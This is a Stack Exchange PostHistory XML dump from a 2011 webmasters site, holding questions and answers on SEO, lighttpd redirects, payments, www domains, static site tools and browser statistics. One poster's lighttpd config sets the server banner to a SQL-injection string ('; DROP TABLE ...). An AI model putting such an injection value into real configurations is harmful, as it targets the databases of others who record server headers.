  <row Id="36068" PostHistoryTypeId="2" PostId="15285" RevisionGUID="7497dcf0-7069-4517-bb9c-b9183c7798ee" CreationDate="2011-06-14T06:24:11.003" UserId="8283" Text="Ideally, when a prospective employer or client googles you or your companies name, they get the most relevant things first. However, this is rarely the case. In a perfect world, if I were able, I would have my first 5 hits be some order of my website, twitter, linkedin, github etc.&#xD;&#xA;&#xD;&#xA;Right now its a hodgepodge of social networking profiles and mailing lists, changelogs on software etc.&#xD;&#xA;&#xD;&#xA;I have control over my own website and can fiddle with the seo there obviously, but how can I promote the importance of say, my github profile over say, a 3 year old reply to some mailing list?" />
  <row Id="36069" PostHistoryTypeId="1" PostId="15285" RevisionGUID="7497dcf0-7069-4517-bb9c-b9183c7798ee" CreationDate="2011-06-14T06:24:11.003" UserId="8283" Text="Astroturfing your own name in Google?" />
  <row Id="36070" PostHistoryTypeId="3" PostId="15285" RevisionGUID="7497dcf0-7069-4517-bb9c-b9183c7798ee" CreationDate="2011-06-14T06:24:11.003" UserId="8283" Text="&lt;seo&gt;&lt;branding&gt;" />
  <row Id="36071" PostHistoryTypeId="17" PostId="15286" RevisionGUID="54a257bb-22a7-4210-901f-75bfa9d69b3d" CreationDate="2011-06-14T06:38:26.137" UserId="-1" Comment="from http://stackoverflow.com/questions/6335873/issue-redirecting-uri-to-remove-http-in-path-under-lighttpd" Text="" />
  <row Id="36072" PostHistoryTypeId="17" PostId="15287" RevisionGUID="19ac77ac-d159-4c80-90b1-e007d790a057" CreationDate="2011-06-14T06:38:26.137" UserId="-1" Comment="from http://stackoverflow.com/questions/6335873/issue-redirecting-uri-to-remove-http-in-path-under-lighttpd" Text="" />
  <row Id="36073" PostHistoryTypeId="2" PostId="15287" RevisionGUID="a6448a00-1e31-41dc-afdd-e62baee2700e" CreationDate="2011-06-13T22:08:09.003" UserId="8126" Text="The broken case seems to be the only one with `url.redirect +=` instead of `url.redirect =`." />
  <row Id="36074" PostHistoryTypeId="2" PostId="15286" RevisionGUID="4fca5dcb-bc25-406e-aa2c-f920ab74762f" CreationDate="2011-06-13T20:24:36.803" UserDisplayName="Sam" Text="So I'm trying to do this redirect under lighttpd, but for whatever reason I just _can't_ get it to work. I've tried looking a debug logs and all.&#xD;&#xA;&#xD;&#xA;Say I have entered http://mydomain.com/http://test.com I would like lighttpd to redirect it to http://mydomain.com/test.com.&#xD;&#xA;&#xD;&#xA;Here is my conf, as far as I can tell it should work. It's like lighttpd is just ignoring the redirect rule (the other one's are working though).&#xD;&#xA;&#xD;&#xA;The redirect is the last one at the bottom.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    # Debian lighttpd configuration file&#xD;&#xA;    #&#xD;&#xA;    &#xD;&#xA;    ############ Options you really have to take care of ####################&#xD;&#xA;    &#xD;&#xA;    ## modules to load&#xD;&#xA;    # mod_access, mod_accesslog and mod_alias are loaded by default&#xD;&#xA;    # all other module should only be loaded if neccesary&#xD;&#xA;    # - saves some time&#xD;&#xA;    # - saves memory&#xD;&#xA;    &#xD;&#xA;    server.modules              = (&#xD;&#xA;                &quot;mod_access&quot;,&#xD;&#xA;                &quot;mod_alias&quot;,&#xD;&#xA;                &quot;mod_accesslog&quot;,&#xD;&#xA;                &quot;mod_compress&quot;,&#xD;&#xA;                &quot;mod_rewrite&quot;,&#xD;&#xA;                &quot;mod_redirect&quot;,&#xD;&#xA;    	    &quot;mod_fastcgi&quot;,&#xD;&#xA;    #           &quot;mod_evhost&quot;,&#xD;&#xA;    #           &quot;mod_usertrack&quot;,&#xD;&#xA;    #           &quot;mod_rrdtool&quot;,&#xD;&#xA;    #           &quot;mod_webdav&quot;,&#xD;&#xA;                &quot;mod_expire&quot;,&#xD;&#xA;    #           &quot;mod_flv_streaming&quot;,&#xD;&#xA;                &quot;mod_evasive&quot;&#xD;&#xA;    )&#xD;&#xA;    &#xD;&#xA;    #### performance options (aggressive timeouts)&#xD;&#xA;    server.max-keep-alive-requests = 6&#xD;&#xA;    server.max-keep-alive-idle = 15&#xD;&#xA;    server.max-read-idle     = 15&#xD;&#xA;    server.max-write-idle    = 15&#xD;&#xA;    connection.kbytes-per-second = 256&#xD;&#xA;    evasive.max-conns-per-ip = 5&#xD;&#xA;    &#xD;&#xA;    #### name the server daemon publicly displays&#xD;&#xA;    server.tag               = &quot;'; DROP TABLE servertypes; --&quot;&#xD;&#xA;    &#xD;&#xA;    #### disable ssl if not needed&#xD;&#xA;    ssl.engine               = &quot;disable&quot;&#xD;&#xA;    &#xD;&#xA;    ## a static document-root, for virtual-hosting take look at the&#xD;&#xA;    ## server.virtual-* options&#xD;&#xA;    server.document-root       = &quot;/var/www/&quot;&#xD;&#xA;    &#xD;&#xA;    ## where to upload files to, purged daily.&#xD;&#xA;    server.upload-dirs = ( &quot;/var/cache/lighttpd/uploads&quot; )&#xD;&#xA;    &#xD;&#xA;    ## where to send error-messages to&#xD;&#xA;    server.errorlog            = &quot;/var/log/lighttpd/error.log&quot;&#xD;&#xA;    &#xD;&#xA;    ## files to check for if .../ is requested&#xD;&#xA;    index-file.names           = ( &quot;index.php&quot;, &quot;index.html&quot;,&#xD;&#xA;                                   &quot;index.htm&quot;, &quot;default.htm&quot;,&#xD;&#xA;                                   &quot;index.lighttpd.html&quot; )&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    ## Use the &quot;Content-Type&quot; extended attribute to obtain mime type if possible&#xD;&#xA;    # mimetype.use-xattr = &quot;enable&quot;&#xD;&#xA;    &#xD;&#xA;    ##  MimeType handling&#xD;&#xA;    ## -------------------&#xD;&#xA;    ##&#xD;&#xA;    ## Use the &quot;Content-Type&quot; extended attribute to obtain mime type if&#xD;&#xA;    ## possible&#xD;&#xA;    ##&#xD;&#xA;    mimetype.use-xattr        = &quot;disable&quot; &#xD;&#xA;    &#xD;&#xA;    ##&#xD;&#xA;    ## mimetype mapping&#xD;&#xA;    ##&#xD;&#xA;    mimetype.assign             = (&#xD;&#xA;      &quot;.pdf&quot;          =&gt;      &quot;application/pdf&quot;,&#xD;&#xA;      [...]&#xD;&#xA;      &quot;.oth&quot;          =&gt;      &quot;application/vnd.oasis.opendocument.text-web&quot;,&#xD;&#xA;    &#xD;&#xA;    # make the default mime type application/octet-stream.&#xD;&#xA;      &quot;&quot;              =&gt;      &quot;application/octet-stream&quot;,&#xD;&#xA;    )&#xD;&#xA;    &#xD;&#xA;    #### accesslog module&#xD;&#xA;    accesslog.filename         = &quot;/var/log/lighttpd/access.log&quot;&#xD;&#xA;    &#xD;&#xA;    ## deny access the file-extensions&#xD;&#xA;    #&#xD;&#xA;    # ~    is for backupfiles from vi, emacs, joe, ...&#xD;&#xA;    # .inc is often used for code includes which should in general not be part&#xD;&#xA;    #      of the document-root&#xD;&#xA;    url.access-deny            = ( &quot;~&quot;, &quot;.inc&quot; )&#xD;&#xA;    &#xD;&#xA;    ##&#xD;&#xA;    # which extensions should not be handle via static-file transfer&#xD;&#xA;    #&#xD;&#xA;    # .php, .pl, .fcgi are most often handled by mod_fastcgi or mod_cgi&#xD;&#xA;    static-file.exclude-extensions = ( &quot;.php&quot;, &quot;.pl&quot;, &quot;.fcgi&quot; )&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    ######### Options that are good to be but not neccesary to be changed #######&#xD;&#xA;    &#xD;&#xA;    ## Use ipv6 only if available.&#xD;&#xA;    # include_shell &quot;/usr/share/lighttpd/use-ipv6.pl&quot;&#xD;&#xA;    &#xD;&#xA;    ## bind to port (default: 80)&#xD;&#xA;    # server.port               = 81&#xD;&#xA;    &#xD;&#xA;    ## bind to localhost only (default: all interfaces)&#xD;&#xA;    ## server.bind                = &quot;localhost&quot;&#xD;&#xA;    &#xD;&#xA;    ## error-handler for status 404&#xD;&#xA;    #server.error-handler-404  = &quot;/error-handler.html&quot;&#xD;&#xA;    #server.error-handler-404  = &quot;/error-handler.php&quot;&#xD;&#xA;    &#xD;&#xA;    ## to help the rc.scripts&#xD;&#xA;    server.pid-file            = &quot;/var/run/lighttpd.pid&quot;&#xD;&#xA;    &#xD;&#xA;    ##&#xD;&#xA;    ## Format: &lt;errorfile-prefix&gt;&lt;status&gt;.html&#xD;&#xA;    ## -&gt; ..../status-404.html for 'File not found'&#xD;&#xA;    #server.errorfile-prefix    = &quot;/var/www/&quot;&#xD;&#xA;    &#xD;&#xA;    ## virtual directory listings&#xD;&#xA;    dir-listing.encoding        = &quot;utf-8&quot;&#xD;&#xA;    server.dir-listing          = &quot;disable&quot;&#xD;&#xA;    &#xD;&#xA;    ## send unhandled HTTP-header headers to error-log&#xD;&#xA;    #debug.dump-unknown-headers  = &quot;enable&quot;&#xD;&#xA;    &#xD;&#xA;    ### only root can use these options&#xD;&#xA;    #&#xD;&#xA;    # chroot() to directory (default: no chroot() )&#xD;&#xA;    #server.chroot            = &quot;/&quot;&#xD;&#xA;    &#xD;&#xA;    ## change uid to &lt;uid&gt; (default: don't care)&#xD;&#xA;    server.username            = &quot;www-data&quot;&#xD;&#xA;    &#xD;&#xA;    ## change uid to &lt;uid&gt; (default: don't care)&#xD;&#xA;    server.groupname           = &quot;www-data&quot;&#xD;&#xA;    &#xD;&#xA;    #### compress module&#xD;&#xA;    compress.cache-dir          = &quot;/var/cache/lighttpd/compress/&quot;&#xD;&#xA;    compress.filetype           = (&quot;text/plain&quot;, &quot;text/html&quot;, &quot;application/x-javascript&quot;, &quot;text/css&quot;, &quot;image/png&quot;)&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    #### url handling modules (rewrite, redirect, access)&#xD;&#xA;    # url.rewrite                 = ( &quot;^/$&quot;             =&gt; &quot;/server-status&quot; )&#xD;&#xA;    # url.redirect                = ( &quot;^/wishlist/(.+)&quot; =&gt; &quot;http://www.123.org/$1&quot; )&#xD;&#xA;    &#xD;&#xA;    #&#xD;&#xA;    # define a pattern for the host url finding&#xD;&#xA;    # %% =&gt; % sign&#xD;&#xA;    # %0 =&gt; domain name + tld&#xD;&#xA;    # %1 =&gt; tld&#xD;&#xA;    # %2 =&gt; domain name without tld&#xD;&#xA;    # %3 =&gt; subdomain 1 name&#xD;&#xA;    # %4 =&gt; subdomain 2 name&#xD;&#xA;    #&#xD;&#xA;    # evhost.path-pattern = &quot;/home/storage/dev/www/%3/htdocs/&quot;&#xD;&#xA;    &#xD;&#xA;    #### expire module&#xD;&#xA;    # expire.url                  = ( &quot;/buggy/&quot; =&gt; &quot;access 2 hours&quot;, &quot;/asdhas/&quot; =&gt; &quot;access plus 1 seconds 2 minutes&quot;)&#xD;&#xA;    $HTTP[&quot;url&quot;] =~ &quot;\.(jpg|gif|png|css|js)$&quot; {&#xD;&#xA;         expire.url = ( &quot;&quot; =&gt; &quot;access 7 days&quot; )&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    #### rrdtool&#xD;&#xA;    # rrdtool.binary = &quot;/usr/bin/rrdtool&quot;&#xD;&#xA;    # rrdtool.db-name = &quot;/var/www/lighttpd.rrd&quot;&#xD;&#xA;    &#xD;&#xA;    #### variable usage:&#xD;&#xA;    ## variable name without &quot;.&quot; is auto prefixed by &quot;var.&quot; and becomes &quot;var.bar&quot;&#xD;&#xA;    #bar = 1&#xD;&#xA;    #var.mystring = &quot;foo&quot;&#xD;&#xA;    &#xD;&#xA;    ## integer add&#xD;&#xA;    #bar += 1&#xD;&#xA;    ## string concat, with integer cast as string, result: &quot;www.foo1.com&quot;&#xD;&#xA;    #server.name = &quot;www.&quot; + mystring + var.bar + &quot;.com&quot;&#xD;&#xA;    ## array merge&#xD;&#xA;    #index-file.names = (foo + &quot;.php&quot;) + index-file.names&#xD;&#xA;    #index-file.names += (foo + &quot;.php&quot;)&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    #### external configuration files&#xD;&#xA;    ## mimetype mapping&#xD;&#xA;    # include_shell &quot;/usr/share/lighttpd/create-mime.assign.pl&quot;&#xD;&#xA;    &#xD;&#xA;    ## load enabled configuration files,&#xD;&#xA;    ## read /etc/lighttpd/conf-available/README first&#xD;&#xA;    include_shell &quot;/usr/share/lighttpd/include-conf-enabled.pl&quot;&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    fastcgi.server = ( &quot;.php&quot; =&gt; ((&#xD;&#xA;    			&quot;bin-path&quot; =&gt; &quot;/usr/bin/php-cgi&quot;,&#xD;&#xA;    			&quot;socket&quot; =&gt; &quot;/tmp/php.socket&quot;,&#xD;&#xA;    			&quot;max-procs&quot; =&gt; 1,&#xD;&#xA;    			&quot;min-procs&quot; =&gt; 1,&#xD;&#xA;    			&quot;bin-environment&quot; =&gt; (&#xD;&#xA;                 		    &quot;PHP_FCGI_CHILDREN&quot; =&gt; &quot;5&quot;,&#xD;&#xA;    	    	            &quot;PHP_FCGI_MAX_REQUESTS&quot; =&gt; &quot;500&quot; &#xD;&#xA;              		),&#xD;&#xA;    			&quot;broken-scriptfilename&quot; =&gt; &quot;enable&quot;&#xD;&#xA;    		  )))&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    $HTTP[&quot;host&quot;] =~ &quot;^78\.129\.251\.116$&quot; {&#xD;&#xA;            url.redirect = ( &quot;^/(.*)&quot; =&gt; &quot;http://dev.samp.im&quot; )&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    $HTTP[&quot;host&quot;] =~ &quot;^www\.(.*)&quot; {&#xD;&#xA;    	url.redirect = ( &quot;^/(.*)&quot; =&gt; &quot;http://%1/$1&quot; )&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    $HTTP[&quot;host&quot;] =~ &quot;^dev\.samp\.im$&quot; {&#xD;&#xA;    	dir-listing.activate = &quot;enable&quot;&#xD;&#xA;    }	&#xD;&#xA;    &#xD;&#xA;    $HTTP[&quot;host&quot;] =~ &quot;^isitup\.org$&quot; {&#xD;&#xA;    	url.redirect = ( &quot;^/http://(.*)&quot; =&gt; &quot;http://isitup.org/$1&quot; )&#xD;&#xA;    &#xD;&#xA;    	url.rewrite-once = (&#xD;&#xA;    	&quot;^/$&quot;		  =&gt; &quot;/index.php&quot;,&#xD;&#xA;    	&quot;^/mint/(.*)$&quot;	  =&gt; &quot;/mint/$1&quot;,&#xD;&#xA;    	&quot;^/fever/(.*)$&quot;	  =&gt; &quot;/fever/$1&quot;,&#xD;&#xA;    	&quot;^/check.php(.*)$&quot; =&gt; &quot;/check.php$0&quot;,&#xD;&#xA;    	&quot;^/offline$&quot;      =&gt; &quot;/offline.php&quot;,&#xD;&#xA;    	&quot;^/error$&quot;        =&gt; &quot;/error.php&quot;,&#xD;&#xA;    	&quot;^/save/(.*)$&quot;    =&gt; &quot;/index.php?d=$1&amp;save&quot;,&#xD;&#xA;    	&quot;^/d/(.*)$&quot;       =&gt; &quot;/index.php?d=$1&quot;,&#xD;&#xA;    	&quot;^/clear$&quot;        =&gt; &quot;/index.php?clear&quot;,&#xD;&#xA;    	&quot;^/(.*)\.(json|txt)$&quot; =&gt; &quot;/check.php?domain=$1&amp;output=$2&quot;,&#xD;&#xA;    	&quot;^/(.*)\.(php|html|png|jpg|css|gif|js)&quot; =&gt; &quot;$0&quot;,&#xD;&#xA;    	&quot;^/(.*)$&quot;	  =&gt; &quot;/check.php?domain=$1&quot; )&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;" />
  <row Id="36075" PostHistoryTypeId="1" PostId="15286" RevisionGUID="4fca5dcb-bc25-406e-aa2c-f920ab74762f" CreationDate="2011-06-13T20:24:36.803" UserDisplayName="Sam" Text="Issue redirecting uri to remove &quot;http://&quot; in path under lighttpd" />
  <row Id="36076" PostHistoryTypeId="3" PostId="15286" RevisionGUID="4fca5dcb-bc25-406e-aa2c-f920ab74762f" CreationDate="2011-06-13T20:24:36.803" UserDisplayName="Sam" Text="&lt;redirects&gt;&lt;lighttpd&gt;" />
  <row Id="36077" PostHistoryTypeId="17" PostId="15288" RevisionGUID="71490683-1669-4906-b3e9-828c24112397" CreationDate="2011-06-14T07:42:02.330" UserId="-1" Comment="from http://webapps.stackexchange.com/questions/16218/accepting-payments-online" Text="" />
  <row Id="36078" PostHistoryTypeId="2" PostId="15288" RevisionGUID="6d14bcb4-70e6-4b01-9b52-22ed51ceff03" CreationDate="2011-06-14T05:06:40.183" UserDisplayName="Justin Levy" Text="What's the most cost-efficient way to accept payments on my website? American Express will be the card of choice. Average sales order ~ $100-250. I am only in Alpha stage so I don't want to pay Braintree (or others) $80-100 / month, right off the bat (bootstrapping! )&#xD;&#xA;&#xD;&#xA;Is PayPal my best bet?&#xD;&#xA;&#xD;&#xA;Again, I will be receiving payments from corporate credit card holders via my website.&#xD;&#xA;&#xD;&#xA;Does anyone know of any alternatives?&#xD;&#xA;" />
  <row Id="36079" PostHistoryTypeId="1" PostId="15288" RevisionGUID="6d14bcb4-70e6-4b01-9b52-22ed51ceff03" CreationDate="2011-06-14T05:06:40.183" UserDisplayName="Justin Levy" Text="Accepting Payments Online" />
  <row Id="36080" PostHistoryTypeId="3" PostId="15288" RevisionGUID="6d14bcb4-70e6-4b01-9b52-22ed51ceff03" CreationDate="2011-06-14T05:06:40.183" UserDisplayName="Justin Levy" Text="&lt;ecommerce&gt;&lt;payment&gt;" />
  <row Id="36081" PostHistoryTypeId="2" PostId="15289" RevisionGUID="101c0363-f159-4fbb-a136-9236e083ddf1" CreationDate="2011-06-14T08:01:05.660" UserId="1643" Text="In your github profile you could use `rel=&quot;me&quot;` to link to your own site&#xD;&#xA;&#xD;&#xA;    &lt;a href=&quot;http://myname.com/&quot; rel=&quot;me&quot;&gt;my site&lt;/a&gt;&#xD;&#xA;&#xD;&#xA;More details at http://microformats.org/wiki/rel-me (it needs to be bidirectional). Google are also experimenting with [new markup to indicate authorship][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://googlewebmastercentral.blogspot.com/2011/06/authorship-markup-and-web-search.html" />
  <row Id="36082" PostHistoryTypeId="2" PostId="15290" RevisionGUID="319c3583-697a-4734-8cbd-16b2805cfdd6" CreationDate="2011-06-14T08:01:46.640" UserId="7583" Text="If you try and go to our website ([www.time-attendance.co.uk][1]) **without** typing the www. You get a page not found error. In my case it goes to a Yahoo 404 page where the website you typed is not even shown in the search results. &#xD;&#xA;&#xD;&#xA;My question is how important is it that customers cannot type this manually. I guess that google etc will just spider the www version and so it will show in the search results in the same manner. Also what is the reason why some websites can be found without the www and some not?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.time-attendance.co.uk/" />
  <row Id="36083" PostHistoryTypeId="1" PostId="15290" RevisionGUID="319c3583-697a-4734-8cbd-16b2805cfdd6" CreationDate="2011-06-14T08:01:46.640" UserId="7583" Text="Does it matter that our website can't be found without the www" />
  <row Id="36084" PostHistoryTypeId="3" PostId="15290" RevisionGUID="319c3583-697a-4734-8cbd-16b2805cfdd6" CreationDate="2011-06-14T08:01:46.640" UserId="7583" Text="&lt;search-engines&gt;&lt;domain-names&gt;&lt;customer-service&gt;&lt;tld&gt;" />
  <row Id="36085" PostHistoryTypeId="2" PostId="15291" RevisionGUID="32197dab-97b8-4e12-8621-a0889e6d2d5d" CreationDate="2011-06-14T08:04:59.170" UserId="702" Text="After giving it more thought, I don't actually need a PHP-based CMS for a small, static web site.&#xD;&#xA;&#xD;&#xA;Does someone know of a good solution that can run on Windows that would take basic HTML pages and JPG pictures, combine those with a template, and generate a static site ready to be FTPed to an web server?&#xD;&#xA;&#xD;&#xA;Thank you." />
  <row Id="36086" PostHistoryTypeId="1" PostId="15291" RevisionGUID="32197dab-97b8-4e12-8621-a0889e6d2d5d" CreationDate="2011-06-14T08:04:59.170" UserId="702" Text="Script + template to generate static web site?" />
  <row Id="36087" PostHistoryTypeId="3" PostId="15291" RevisionGUID="32197dab-97b8-4e12-8621-a0889e6d2d5d" CreationDate="2011-06-14T08:04:59.170" UserId="702" Text="&lt;cms&gt;&lt;static-content&gt;" />
  <row Id="36088" PostHistoryTypeId="2" PostId="15292" RevisionGUID="c51b0baf-0d67-4b47-b8bc-1104626db64b" CreationDate="2011-06-14T08:07:00.023" UserId="2490" Text="[Arvixe][1] has support for mysqli in php5. I am using them, and checked it.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.arvixe.com/1042-2.html" />
  <row Id="36089" PostHistoryTypeId="2" PostId="15293" RevisionGUID="d26d8c8a-ceae-43af-bd30-6db956b71a2a" CreationDate="2011-06-14T08:09:36.903" UserId="2490" Text="You can use [Arvixe VPS][1] (virtual private server). It's not a managed server, so it's cheaper. But they provide you with online support (chat), so it's quite easy for non tech people. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.arvixe.com/1042-40.html" />
  <row Id="36090" PostHistoryTypeId="2" PostId="15294" RevisionGUID="d3f7dfcc-84e7-4bae-99a6-0a208a7a1ee0" CreationDate="2011-06-14T08:09:39.153" UserId="1643" Text="If a website doesn't work without the www then I try it with, and some browsers automatically retry with a www if it fails without. If every link that points to your site uses the www then search engine spiders will find it.&#xD;&#xA;&#xD;&#xA;However I think it looks unprofessional if it doesn't work without. The reason for using the www goes back to the beginnings of the internet when you had your ftp server at ftp.example.com and your www server at www.example.com (and other things now gone). I guess the www started being dropped for reasons of space on advertising and so people didn't have to type so much. It's never been needed at all.&#xD;&#xA;&#xD;&#xA;You could have a website where example.com and www.example.com are completely different websites, but that would confuse people so you never see it.&#xD;&#xA;&#xD;&#xA;Although you don't ask it, the way to get your site to work with and without is to use redirects so that it works both ways. What sort of server have you got?" />
  <row Id="36091" PostHistoryTypeId="2" PostId="15295" RevisionGUID="ab5139e6-f24e-42ea-b690-a4adc6b1c747" CreationDate="2011-06-14T08:15:27.190" UserId="1089" Text="A site I help with (uk based) uses [sagepay][1]. Its a strong, reliable brand over here and they offer a range of integration methods.&#xD;&#xA;&#xD;&#xA;Its also fairly easy to get to speak to a human being for help or to answer questions, I'm not sure how easy it is to speak to paypal directly.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.sagepay.com/" />
  <row Id="36093" PostHistoryTypeId="2" PostId="15297" RevisionGUID="9fa680ea-dde4-472e-b6a6-05450b784a0b" CreationDate="2011-06-14T08:20:56.530" UserId="1643" Text="The [template toolkit][1] is a mature product that is free and runs on Windows. It's written in perl and says you don't need to know perl to use it. However you do need to know a bit about installing perl. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://template-toolkit.org/" />
  <row Id="36094" PostHistoryTypeId="5" PostId="15291" RevisionGUID="cf3c14e7-af4e-4540-94b3-2164d7731491" CreationDate="2011-06-14T08:49:49.380" UserId="702" Comment="added 258 characters in body; added 12 characters in body" Text="After giving it more thought, I don't actually need a PHP-based CMS for a small, static web site.&#xD;&#xA;&#xD;&#xA;Does someone know of a good solution that can run on Windows that would take basic HTML pages and JPG pictures, combine those with a template, and generate a static site ready to be FTPed to an web server?&#xD;&#xA;&#xD;&#xA;Thank you.&#xD;&#xA;&#xD;&#xA;-----&#xD;&#xA;Edit: For those looking for the same information, here's some well-known tools to create a static site:&#xD;&#xA;&#xD;&#xA;* http://get-simple.info/&#xD;&#xA;* http://gpeasy.com/How_Easy&#xD;&#xA;* http://textpattern.com/features&#xD;&#xA;* http://nanoc.stoneship.org/&#xD;&#xA;* http://www.movabletype.com/" />
  <row Id="36098" PostHistoryTypeId="25" PostId="15290" RevisionGUID="da79b9db-fd93-4f31-8558-3f0b082cba2d" CreationDate="2011-06-14T09:21:29.677" Comment="http://twitter.com/#!/StackWebmasters/status/80565511263498240" />
  <row Id="36099" PostHistoryTypeId="2" PostId="15299" RevisionGUID="13721621-3118-4687-be75-a8ca234032e3" CreationDate="2011-06-14T09:33:28.933" UserId="8286" Text="I'm anonymising this situation a bit, so I apologise if the scenario seems a bit contrived, but the question is a genuine one I need to address.&#xD;&#xA;&#xD;&#xA;I'm working on a website for a web-based company which acts as an intermediary or broker between public speakers and people who want to hire them. The company wants to tie into social media, so I've added Facebook etc. like/share buttons. Each registered speaker has a separate page with its own OpenGraph metadata and so they can be independently &quot;liked&quot;.&#xD;&#xA;&#xD;&#xA;The front page also has a &quot;like&quot; button for people who appreciate the service provided by the site instead of / as well as individual speakers. The company also has a Facebook Pages page. The question is how to tie them together.&#xD;&#xA;&#xD;&#xA;&gt; Is there a &quot;Best practices&quot; approach to handling the relationship between the company website and the company Facebook Pages page?&#xD;&#xA;&#xD;&#xA;In particular, should I replace the Like button on the front page with a link to the Facebook page (or perhaps change the OpenGraph metadata for it to set the Facebook page as the canonical url - although my instinct is that that's a bad idea)?" />
  <row Id="36100" PostHistoryTypeId="1" PostId="15299" RevisionGUID="13721621-3118-4687-be75-a8ca234032e3" CreationDate="2011-06-14T09:33:28.933" UserId="8286" Text="How to tie together Facebook Pages and main website" />
  <row Id="36101" PostHistoryTypeId="3" PostId="15299" RevisionGUID="13721621-3118-4687-be75-a8ca234032e3" CreationDate="2011-06-14T09:33:28.933" UserId="8286" Text="&lt;facebook&gt;" />
  <row Id="36102" PostHistoryTypeId="5" PostId="15091" RevisionGUID="b04703d0-6bf1-4b2a-8934-18971d06472f" CreationDate="2011-06-14T09:33:54.963" UserId="1643" Comment="added 340 characters in body" Text="    for i in `ls emaildir/*@*`&#xD;&#xA;    do&#xD;&#xA;    grep $i logfile | grep '\['`date +%d/%b/%Y` | awk -F\&quot; '{print $6}' &#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;Where emaildir is the directory of files containing email addresses and logfile is the apache logfile.&#xD;&#xA;&#xD;&#xA;What it's doing is this:&#xD;&#xA;&#xD;&#xA; - getting each file in the email directory with an @ in the filename&#xD;&#xA; - searching the log file for lines containing that filename&#xD;&#xA; - then searching those lines for today's date in the format used by logfiles&#xD;&#xA; - then splitting the line at quote marks and printing the sixth part, which is the browser string" />
  <row Id="36103" PostHistoryTypeId="17" PostId="15300" RevisionGUID="b69e7a6d-a41e-430a-8e32-4ef0ea74736e" CreationDate="2011-06-14T09:43:04.957" UserId="-1" Comment="from http://stackoverflow.com/questions/6341112/how-many-people-really-use-ie" Text="" />
  <row Id="36104" PostHistoryTypeId="17" PostId="15301" RevisionGUID="5c389520-e082-4f15-9363-b66cfc2ab42b" CreationDate="2011-06-14T09:43:04.957" UserId="-1" Comment="from http://stackoverflow.com/questions/6341112/how-many-people-really-use-ie" Text="" />
  <row Id="36105" PostHistoryTypeId="17" PostId="15302" RevisionGUID="bf6a7a9e-6287-4878-b78d-522ff827bc7d" CreationDate="2011-06-14T09:43:04.957" UserId="-1" Comment="from http://stackoverflow.com/questions/6341112/how-many-people-really-use-ie" Text="" />
  <row Id="36106" PostHistoryTypeId="17" PostId="15303" RevisionGUID="ba230d8f-bfdb-4168-9992-93b99398b224" CreationDate="2011-06-14T09:43:04.957" UserId="-1" Comment="from http://stackoverflow.com/questions/6341112/how-many-people-really-use-ie" Text="" />
  <row Id="36107" PostHistoryTypeId="17" PostId="15304" RevisionGUID="f5f985df-0450-47eb-9f3d-9bed70006abe" CreationDate="2011-06-14T09:43:04.957" UserId="-1" Comment="from http://stackoverflow.com/questions/6341112/how-many-people-really-use-ie" Text="" />
  <row Id="36108" PostHistoryTypeId="2" PostId="15301" RevisionGUID="041560fa-ea70-41e4-a4f3-890b5a6c5adb" CreationDate="2011-06-14T08:46:50.590" UserDisplayName="Andreas Carlbom" Text="w3schools browser stats for IE are lower than the actual numbers, seeing as how most people visiting w3schools are web-savvy, and thus more likely to actively choose a different browser than the pre-installed. &#xD;&#xA;&#xD;&#xA;Here's a wikipedia page with composites of different stats and lots of information: http://en.wikipedia.org/wiki/Usage_share_of_web_browsers&#xD;&#xA;&#xD;&#xA;And how do you mean it interprets scripts differently?" />
  <row Id="36109" PostHistoryTypeId="2" PostId="15302" RevisionGUID="48ca9f98-0022-4fcf-96a4-a38c8456a1e4" CreationDate="2011-06-14T08:54:12.597" UserDisplayName="vikas mehta" Text="Actually the problem with IE is that it tries to do everything(even the wrong). Even if there is some content which should not be interpreted correctly(wrongly coded), IE tries to interpret it too. " />
  <row Id="36110" PostHistoryTypeId="2" PostId="15304" RevisionGUID="05dccfb5-f603-4742-8c86-dd86b6ecce8b" CreationDate="2011-06-14T09:04:47.617" UserDisplayName="Rafael Celerier" Text="The anwser to why IE interprets scripting differently is because there is no unified way of checking the code. It's all client sided, the browsers want to get the feeling that they bring something &quot;special&quot; to the table. This doesn't mean it works or if it is any good." />
  <row Id="36111" PostHistoryTypeId="2" PostId="15303" RevisionGUID="65f805e3-7297-4ecf-bae6-adcf34ccb34b" CreationDate="2011-06-14T09:02:40.067" UserDisplayName="Spudley" Text="re your first question: Nobody's stats are accurate, least of all W3Schools'.&#xD;&#xA;&#xD;&#xA;The only people who *really* have accurate browser market share stats are likely to be Google, because *everybody* uses their services, and also their Analytics tracking code is on so many sites. But they don't publish their stats.&#xD;&#xA;&#xD;&#xA;Everyone else is only going to be seeing a small portion of the global traffic, and their stats will be biased in favour of the browsers used by the people who visit the sites they monitor. Therefore, W3Schools' stats will be biased in favour of people who visit W3Schools.com. Since this is likely to be mainly web developers (albeit inexperienced ones), their stats will be biased in favour of the browsers that developers prefer. I don't know if they're getting stats from anywhere else as well, but wherever it's from, there will be a bias of one sort or another, and therefore the stats will be innaccurate.&#xD;&#xA;&#xD;&#xA;The best source that I know of for global web stats is [StatsCounter](http://gs.statcounter.com/), which does seem to be fairly well respected as a source. But even then you should take the results with a pinch of salt.&#xD;&#xA;&#xD;&#xA;Franlkly, the only stats that *really* matter are your own stats. What browsers do the visitors to *your site* use? That's the browser share you should be targetting.&#xD;&#xA;&#xD;&#xA;Re your second question (about scripting languages): This question is a bit too vague to answer. IE's imlpementation of Javascript is virtually identical to that of the other browsers. Yes there are some bugs, but they're pretty minor. The big 